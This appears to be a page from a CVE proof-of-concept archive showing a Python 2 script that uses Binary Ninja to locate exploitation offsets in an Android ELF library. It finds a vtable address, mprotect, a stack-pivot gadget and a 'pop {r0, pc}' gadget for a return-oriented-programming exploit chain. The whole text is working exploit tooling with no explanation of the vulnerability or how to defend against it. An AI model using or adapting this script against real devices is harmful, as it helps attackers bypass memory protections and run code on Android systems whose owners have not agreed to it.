4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / bn_calc_offsets.py PY
#!/usr/bin/env python2
from __future__ import print_function
from binaryninja import *
import sys

bv = BinaryViewType["ELF"].open(sys.argv[1])
bv.update_analysis_and_wait()

# vtable
vtable_offset = bv.symbols['_ZTVN7android6VectorIjEE'].address + 8

# mprotect
mprotect_offset = bv.symbols['mprotect'].address

# pivot
pivot_asm = 'mov   lr, r0\n'
pivot_asm += 'ldmia lr, {r0-r12}\n'
pivot_asm += 'ldr   sp, [lr, #0x34]\n'
pivot_asm += 'ldr   lr, [lr, #0x3c]\n'
pivot_asm += 'bx    lr\n'
pivot_offset = bv.find_next_data(0, bv.arch.assemble(pivot_asm)[0])

# pop_r0_pc
pop_r0_pc = bv.find_next_data(0, bv.arch.assemble('pop {r0, pc}')[0])

print("{")
print("    'vtable_offset': 0x{:08x},".format(vtable_offset))
print("    'mprotect_offset': 0x{:08x},".format(mprotect_offset))
print("    'pivot_offset': 0x{:08x},".format(pivot_offset))
print("    'pop_r0_pc_offset': 0x{:08x}".format(pop_r0_pc))
print("}")